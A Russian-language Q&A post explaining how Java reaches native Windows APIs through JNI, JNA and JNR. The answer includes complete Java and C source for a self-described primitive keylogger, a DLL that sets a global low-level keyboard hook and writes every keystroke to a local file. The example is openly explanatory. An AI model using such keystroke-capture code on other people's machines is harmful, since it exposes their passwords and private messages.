Окей. Как мне стало известно из изучения Java, что по сути Java не общается с самой операционной системой, она посылает запрос в JVM и обрабатывает его. Например получение Jav'ой доступу к принтеру. Но! Java не может получать доступ к регистру, автозапуску и прочим вещам. Окей я не буду вдаваться в подробности зачем, но просто есть необходимость.
Например у меня есть задача, определена точно ОС - Windows. И мне необходимо "хукать" нажатия клавиатуры, или производить эти нажатия самой программой. Я нашел решение - написание dll библиотеки на C++. Но как мне ее написать. Если мы пишем код на C++ подключая библиотеку windows.h для работы с winapi. И при этом скомпилированный этот код в виде библиотеки подрубаем в Java код. Ничего не потеряется?
Ответ
Из JVM есть несколько дверей в операционную систему - JNI, JNA и JNR. JNI (Java Native Interface) - самый старый и чаще всего используемый способ взаимодействия с нативным кодом. Его минус в том, что он требует от программиста знания C/C++ и хорошего понимания принципов работы виртуальной машины. JNA (Java Native Access) - это надстройка над JNI изолирующая программиста от низкоуровневых деталей за счёт использования рефлексии и libffi. А где рефлексия, там низкая производительность и высокое количество рантайм ошибок. В JNR (Java Native Runtime) рефлексию заменили генерацией байткода, что существенно увеличило производительность. Это относительно молодой проект, я в нём ещё не копался и сказать ничего не могу. А вот пример примитивного кейлогера с использованием JNI показать могу.
Snitch.java
import java.io.Closeable;
// Чтобы автоматически отключать хук при
// завершении работы реализуем интерфейс Closeable
public class Snitch implements Closeable {
// Объявляем нативные методы
private native boolean init(String filePath);
private native void listen();
public native void close();
public Snitch(String filePath) throws IntializatonException {
if (!init(filePath))
throw new IntializatonException();
}
public static void main(String[] args) {
// Загружаем библиотеку реализующую
// нативные методы
System.loadLibrary("snitch");
// Передаём путь к логфайлу и ловим нажатия клавиш
try (Snitch snitch = new Snitch("C:\\Temp\\keyboard.txt")) {
snitch.listen();
}
catch (IntializatonException exc) {
System.err.println("Can't install hook!");
}
}
}
Компилируем командой javac -h . Snitch.java. Ключ -h указывает в каком каталоге создать заголовочный файл с определениями нативных методов.
snitch.c
#include
FILE *fh;
HINSTANCE hInstance = NULL;
HHOOK hHook = NULL;
enum Keys {
SHIFT = 16,
CAPSLOCK = 20,
};
BOOL APIENTRY DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved) {
switch(reason) {
case DLL_PROCESS_ATTACH:
hInstance = instance;
break;
default:
break;
}
return TRUE;
}
LRESULT CALLBACK kbdProc(int code, WPARAM wParam, LPARAM lParam) {
if (wParam == WM_KEYUP) {
KBDLLHOOKSTRUCT *kbdStruct = (KBDLLHOOKSTRUCT*) lParam;
DWORD wVirtKey = kbdStruct->vkCode;
DWORD wScanCode = kbdStruct->scanCode;
BYTE lpKeyState[256];
GetKeyboardState(lpKeyState);
lpKeyState[SHIFT] = 0;
lpKeyState[CAPSLOCK] = 0;
if (GetKeyState(VK_LSHIFT) < 0 || GetKeyState(VK_RSHIFT) < 0) {
lpKeyState[SHIFT] = 0x80;
}
if ((GetKeyState(VK_CAPITAL) & 1) == 1) {
lpKeyState[CAPSLOCK] = 0x01;
}
char result;
ToAscii(wVirtKey, wScanCode, lpKeyState, (LPWORD)&result, 0);
fprintf(fh, "%c", result);
}
return CallNextHookEx(hHook, code, wParam, lParam);
}
JNIEXPORT jboolean JNICALL Java_Snitch_init(JNIEnv* env, jobject obj, jstring filePath) {
// Получаем указатель на массив символов строки
const char *path = (*env)->GetStringUTFChars(env, filePath, NULL);
if (path == NULL)
return JNI_FALSE;
// Открываем логфайл
if (!(fh = fopen(path, "a")))
return JNI_FALSE;
// Делаем строку доступной сборщику мусора
(*env)->ReleaseStringUTFChars(env, filePath, path);
// Регистрируем хук
if (!(hHook = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, hInstance, 0)))
return JNI_FALSE;
return JNI_TRUE;
}
JNIEXPORT void JNICALL Java_Snitch_listen(JNIEnv* env, jobject obj) {
MSG message;
while(GetMessage(&message, NULL, 0, 0)) {
TranslateMessage(&message);
DispatchMessage(&message);
}
}
JNIEXPORT void JNICALL Java_Snitch_close(JNIEnv* env, jobject obj) {
if (hHook)
UnhookWindowsHookEx(hHook);
if (fh)
fclose(fh);
}
Компилируем c'шный исходник в snitch.dll, запускаем нашу программу командой java Snitch и убеждаемся, что в C:\Temp\keyboard.txt регистрируются нажатые клавиши.
Чуть более подробно о процессе компиляции и объявлениях JNI-методов можно посмотреть в другом моём ответе
Комментариев нет:
Отправить комментарий